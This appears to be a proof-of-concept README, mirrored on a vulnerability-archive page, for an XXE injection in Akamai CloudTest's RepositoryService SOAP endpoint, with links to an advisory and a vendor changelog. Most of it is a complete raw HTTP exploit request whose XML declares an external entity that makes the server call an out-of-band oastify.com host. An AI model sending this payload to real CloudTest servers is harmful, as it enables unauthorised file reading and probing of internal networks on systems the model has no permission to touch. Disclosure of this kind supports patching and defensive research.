来源

关联漏洞

介绍

# Akamai CloudTest - XXE Injection 

Akamai CloudTest before `60 2025.06.02 (12988)` allows file inclusion via XML External Entity (XXE) injection through the `/concerto/services/RepositoryService` SOAP endpoint.

---

## References

- https://xbow.com/blog/xbow-akamai-cloudtest-xxe/
- https://techdocs.akamai.com/cloudtest/changelog/june-2-2025-enhancements-and-bug-fixes

---

![image](https://github.com/user-attachments/assets/78ab085d-b700-4103-bf2e-d4719c000761)


## Proof of Concept (Raw HTTP Request)

```http
POST //concerto/services/RepositoryService HTTP/1.1
Host: readacted.com
Cache-Control: max-age=0
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138", "Brave";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-Gpc: 1
Accept-Language: en-US,en;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 610

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
  <!ENTITY xxe SYSTEM "http://b6it5hei11vmt9as2lbg98h4gvmrahy6.oastify.com">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:rep="http://example.com/services/repository">
   <soapenv:Header/>
   <soapenv:Body>
      <rep:getUIBundleObjectXml>
         <rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
      </rep:getUIBundleObjectXml>
   </soapenv:Body>
</soapenv:Envelope>

文件快照

 [4.0K]  /data/pocs/83918130f59bad852f1025ac46ea169d72412d68
└── [1.7K]  README.md

0 directories, 1 file

备注